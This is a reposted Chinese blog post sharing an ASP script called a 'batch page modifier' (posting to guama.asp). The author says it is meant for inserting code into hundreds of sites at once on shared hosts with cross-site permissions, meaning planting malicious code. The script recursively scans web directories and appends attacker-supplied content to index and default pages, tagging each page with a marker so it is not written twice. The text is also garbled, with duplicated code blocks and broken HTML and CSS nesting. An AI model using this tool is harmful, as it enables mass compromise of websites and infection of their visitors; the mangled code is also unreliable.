这东西最初目的是为了给虚拟主机上数百个站同时插入***代码来用的!(指有跨站权限的虚拟主机)
当然,也可以用来批量插入/修改网页文件,稍加修改即可!
代码如下,很简单!复制下来存成.asp文件,放到网站目录里即可!
这么简单的东西,就不罗嗦了,下面看代码:
这东西最初目的是为了给虚拟主机上数百个站同时插入***代码来用的!(指有跨站权限的虚拟主机)
当然,也可以用来批量插入/修改网页文件,稍加修改即可!
代码如下,很简单!复制下来存成.asp文件,放到网站目录里即可!
这么简单的东西,就不罗嗦了,下面看代码:
<html>
<head>
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>页面批量修改器</title>
<style>
BODY {
FONT-SIZE: 9pt;
COLOR: #000000;
FONT-FAMILY: "Courier New";
scrollbar-face-color:#C1D78E;
scrollbar-highlight-color:#FFFFFF;
scrollbar-3dlight-color:#C1D78E;
scrollbar-darkshadow-color:#9C9CD3;
scrollbar-shadow-color:#C1D78E;
scrollbar-arrow-color:#4444B3;
scrollbar-track-color:#EFEFEF;
}
TABLE {
FONT-SIZE: 9pt;
FONT-FAMILY: "Courier New";
BORDER-COLLAPSE: collapse;
border-top-width: 1px;
border-right-width: 1px;
border-bottom-width: 1px;
border-left-width: 1px;
border-top-style: solid;
border-right-style: none;
border-bottom-style: none;
border-left-style: solid;
border-top-color: #7D9B37;
border-right-color: #7D9B37;
border-bottom-color: #7D9B37;
border-left-color: #7D9B37;
<meta http-equiv="Content-Language" content="zh-cn">
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<meta name="GENERATOR" content="Microsoft FrontPage 4.0">
<meta name="ProgId" content="FrontPage.Editor.Document">
<title>页面批量修改器</title>
<style>
BODY {
FONT-SIZE: 9pt;
COLOR: #000000;
FONT-FAMILY: "Courier New";
scrollbar-face-color:#C1D78E;
scrollbar-highlight-color:#FFFFFF;
scrollbar-3dlight-color:#C1D78E;
scrollbar-darkshadow-color:#9C9CD3;
scrollbar-shadow-color:#C1D78E;
scrollbar-arrow-color:#4444B3;
scrollbar-track-color:#EFEFEF;
}
TABLE {
FONT-SIZE: 9pt;
FONT-FAMILY: "Courier New";
BORDER-COLLAPSE: collapse;
border-top-width: 1px;
border-right-width: 1px;
border-bottom-width: 1px;
border-left-width: 1px;
border-top-style: solid;
border-right-style: none;
border-bottom-style: none;
border-left-style: solid;
border-top-color: #7D9B37;
border-right-color: #7D9B37;
border-bottom-color: #7D9B37;
border-left-color: #7D9B37;
}
.tr {
font-family: "Courier New";
font-size: 9pt;
background-color: #C1D78E;
text-align: center;
}
.td {
font-family: "Courier New";
font-size: 9pt;
background-color: #f9f9fd;
}
.warningColor {
font-family: "Courier New";
font-size: 9pt;
color: #ff0000;
}
input {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #000000;
}
textarea {
font-family: "Courier New";
BORDER-TOP-WIDTH: 1px;
BORDER-LEFT-WIDTH: 1px;
FONT-SIZE: 12px;
BORDER-BOTTOM-WIDTH: 1px;
BORDER-RIGHT-WIDTH: 1px;
color: #000000;
}
A:visited {
FONT-SIZE: 9pt;
COLOR: #333333;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
A:active {
FONT-SIZE: 9pt;
COLOR: #3366cc;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
A:link {
FONT-SIZE: 9pt;
COLOR: #000000;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}
A:hover {
FONT-SIZE: 9pt;
COLOR: #3366cc;
FONT-FAMILY: "Courier New";
TEXT-DECORATION: none;
}tr {
font-family: "Courier New";
font-size: 9pt;
line-height: 18px;
}
td {
font-family: "Courier New";
font-size: 9pt;
border-top-width: 1px;
border-right-width: 1px;
border-bottom-width: 1px;
border-left-width: 1px;
border-top-style: none;
border-right-style: solid;
border-bottom-style: solid;
border-left-style: none;
border-top-color: #7D9B37;
border-right-color: #7D9B37;
border-bottom-color: #7D9B37;
border-left-color: #7D9B37;
}
.trHead {
font-family: "Courier New";
font-size: 9pt;
background-color: #C1D78E;
line-height: 3px;
}
.inputLogin {
font-family: "Courier New";
font-size: 9pt;
border: 1px solid #7D9B37;
background-color: #f9f9fd;
vertical-align: bottom;
}
.font-list {
font-size: 9pt;
color: CCCCFF;
font-family: "Courier New";
}
</style>
</head>
<body bgcolor="#CFE0A7">
<div align="center">
<center>
<table border="0" cellpadding="0" cellspacing="0" width="800">
<tr>
<td>
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="800">
<tr>
<td bgcolor="#FFFFFF" height="50">
<p align="center"><b><font color="#708A31" face="华文行楷" size="5">页面批量修改器</font></b></td>
</tr>
<tr>
<td></td>
</tr>
<FORM name="add" method="POST" action="guama.asp">
<tr>
<td bgcolor="#FFFFFF">
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="802">
<tr>
<td width="683"><font size="1">路径:<%=Server.MapPath(".")%></font>
<td width="116">
</td>
</tr>
<tr>
<td width="683">路径: <font color="#FFFF00" size="1"><INPUT TYPE=text NAME=filepath style="border:1px solid #000000; " value="c:\wwwroot\test" size="20"></font>
<td width="116"><font size="1"><INPUT TYPE=Submit VALUE="提交" check()" style="border:1px solid #000000; ">
</font>
</td>
</tr>
<tr>
<td width="683">文件名: <font color="#FFFF00" size="1"><INPUT TYPE=text NAME=filename style="border:1px solid #000000; " value="index.asp|index.html|index.htm|Default.htm|Default.asp|Default.html|main.asp|main.htm|main.html" size="100">
</font></td>
</tr>
</table>
</div>
</td>
</tr>
<tr>
<td bgcolor="#FFFFFF">
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="800" height="35">
<tr>
<td height="16">
<p align="center"><b><font color="#708A31" face="华文行楷" size="5">代码内容</font></b></td>
</tr>
<tr>
<td height="19"><textarea name="data" cols="111" rows="7" id="data">
<div align="center">
<center>
<table border="0" cellpadding="0" cellspacing="0" width="800">
<tr>
<td>
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="800">
<tr>
<td bgcolor="#FFFFFF" height="50">
<p align="center"><b><font color="#708A31" face="华文行楷" size="5">页面批量修改器</font></b></td>
</tr>
<tr>
<td></td>
</tr>
<FORM name="add" method="POST" action="guama.asp">
<tr>
<td bgcolor="#FFFFFF">
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="802">
<tr>
<td width="683"><font size="1">路径:<%=Server.MapPath(".")%></font>
<td width="116">
</td>
</tr>
<tr>
<td width="683">路径: <font color="#FFFF00" size="1"><INPUT TYPE=text NAME=filepath style="border:1px solid #000000; " value="c:\wwwroot\test" size="20"></font>
<td width="116"><font size="1"><INPUT TYPE=Submit VALUE="提交" check()" style="border:1px solid #000000; ">
</font>
</td>
</tr>
<tr>
<td width="683">文件名: <font color="#FFFF00" size="1"><INPUT TYPE=text NAME=filename style="border:1px solid #000000; " value="index.asp|index.html|index.htm|Default.htm|Default.asp|Default.html|main.asp|main.htm|main.html" size="100">
</font></td>
</tr>
</table>
</div>
</td>
</tr>
<tr>
<td bgcolor="#FFFFFF">
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="800" height="35">
<tr>
<td height="16">
<p align="center"><b><font color="#708A31" face="华文行楷" size="5">代码内容</font></b></td>
</tr>
<tr>
<td height="19"><textarea name="data" cols="111" rows="7" id="data">
</textarea>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</div>
</td>
</tr>
</table>
</center>
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
</div>
</td>
</tr>
</table>
</center>
</div>
</body>
</html>
<object runat="server" Id="fso" scope="page" classid="clsid:0D43FE01-F093-11CF-8940-00A0C9054228"></object>
<%
Server.ScriptTimeOut = 10000
Dim xr,dm,filenames,path,fso
path=Request.Form("filepath")
Name=Request.Form("filename")
UserID="<!--smtp-->"
data=Request.Form("data")&UserID
<%
Server.ScriptTimeOut = 10000
Dim xr,dm,filenames,path,fso
path=Request.Form("filepath")
Name=Request.Form("filename")
UserID="<!--smtp-->"
data=Request.Form("data")&UserID
If Path <> "" Then
MyArray = Split(Name, "|", -1, 1)
Set fso = createObject("Scripting.FileSystemObject")
scan(Request.Form("filepath")) 'web目录目力路径
sub scan(folder_) 'scan函数定义,
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 当前目录的所有文件集合
for each Files in files '获取文件后缀
Set f1 = fso.GetFile(Files)
filesext=f1.Name
ext=lcase(filesext) '后缀名转换成小写字母
For Each index in MyArray
if ext=lcase(index) then
Set File = Fso.OpenTextFile(Files,1)
Do While File.AtEndOfLine <> True
DataStr = File.readall
FindStr = InstrRev(DataStr,UserID)
Loop
If FindStr = 0 Then
On Error Resume Next
Set Writes = fso.OpenTextFile(Files,8) '打开文件并在文件末尾进行写操作
Writes.WriteLine(data)
Writes.Close
Response.write Files &" .............ok<br>"
Response.write FindStr
Else
Response.write Files &"............Have<br>"
Response.write FindStr
End if
end if
next
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录;递归调用
scan(subfolder)
next
end sub
MyArray = Split(Name, "|", -1, 1)
Set fso = createObject("Scripting.FileSystemObject")
scan(Request.Form("filepath")) 'web目录目力路径
sub scan(folder_) 'scan函数定义,
set folder_=fso.getfolder(folder_)
set files=folder_.files ' 当前目录的所有文件集合
for each Files in files '获取文件后缀
Set f1 = fso.GetFile(Files)
filesext=f1.Name
ext=lcase(filesext) '后缀名转换成小写字母
For Each index in MyArray
if ext=lcase(index) then
Set File = Fso.OpenTextFile(Files,1)
Do While File.AtEndOfLine <> True
DataStr = File.readall
FindStr = InstrRev(DataStr,UserID)
Loop
If FindStr = 0 Then
On Error Resume Next
Set Writes = fso.OpenTextFile(Files,8) '打开文件并在文件末尾进行写操作
Writes.WriteLine(data)
Writes.Close
Response.write Files &" .............ok<br>"
Response.write FindStr
Else
Response.write Files &"............Have<br>"
Response.write FindStr
End if
end if
next
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录;递归调用
scan(subfolder)
next
end sub
End if
%>
%>
转载于:https://blog.51cto.com/wyulnnhtg/31068